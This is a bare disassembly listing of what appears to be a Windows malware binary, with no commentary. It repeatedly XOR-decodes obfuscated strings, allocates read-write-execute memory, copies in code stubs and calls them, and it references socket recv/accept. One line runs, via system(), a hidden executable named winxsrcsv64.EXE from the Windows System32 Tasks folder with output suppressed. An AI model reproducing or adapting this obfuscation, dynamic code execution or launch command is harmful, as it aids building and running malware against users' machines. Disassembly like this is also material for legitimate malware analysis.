mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x34c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6200]
lea rcx, [rbp - 0x7e]
call fcn.14001e820
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400170a2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001706d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140016f80
jmp 0x1400170a2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140017070
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x34e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2d0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001712d
mov rdx, rbx
cmp rax, rsi
je 0x14001711c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140017104
jmp 0x14001712d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001720f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017156
mov r8, rbx
jmp 0x1400171ee
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2d0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x34e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x34c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2d8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3500]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6238]
lea rcx, [rbp - 0x7d]
call fcn.14001e860
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400173d2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001739d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400172b0
jmp 0x1400173d2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400173a0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3520]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2e0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001745d
mov rdx, rbx
cmp rax, rsi
je 0x14001744c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140017434
jmp 0x14001745d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001753f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017486
mov r8, rbx
jmp 0x14001751e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017490
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2e0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3520]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3500]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2e8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3540]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6270]
lea rcx, [rbp - 0x7c]
call fcn.14001e8a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140017702
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400176cd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400175e0
jmp 0x140017702
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400176d0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3560]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2f0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001778d
mov rdx, rbx
cmp rax, rsi
je 0x14001777c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140017764
jmp 0x14001778d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001786f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400177b6
mov r8, rbx
jmp 0x14001784e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400177c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2f0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3560]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3540]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3580]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x62a8]
lea rcx, [rbp - 0x7b]
call fcn.14001e8e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140017a32
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400179fd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140017910
jmp 0x140017a32
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140017a00
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x35a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x300], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140017abd
mov rdx, rbx
cmp rax, rsi
je 0x140017aac
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140017a94
jmp 0x140017abd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140017b9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017ae6
mov r8, rbx
jmp 0x140017b7e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017af0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x300]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x35a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3580]
call fcn.140022f30
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x308]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x35c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x62e0]
lea rcx, [rbp - 0x7a]
call fcn.14001e920
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140017d72
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140017d3d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140017c50
jmp 0x140017d72
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140017d40
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x35e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x310], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140017dfd
mov rdx, rbx
cmp rax, rsi
je 0x140017dec
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140017dd4
jmp 0x140017dfd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140017edf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017e26
mov r8, rbx
jmp 0x140017ebe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017e30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x310]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x35e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x35c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x318]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3600]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6318]
lea rcx, [rbp - 0x79]
call fcn.14001e960
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400180a2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001806d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140017f80
jmp 0x1400180a2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
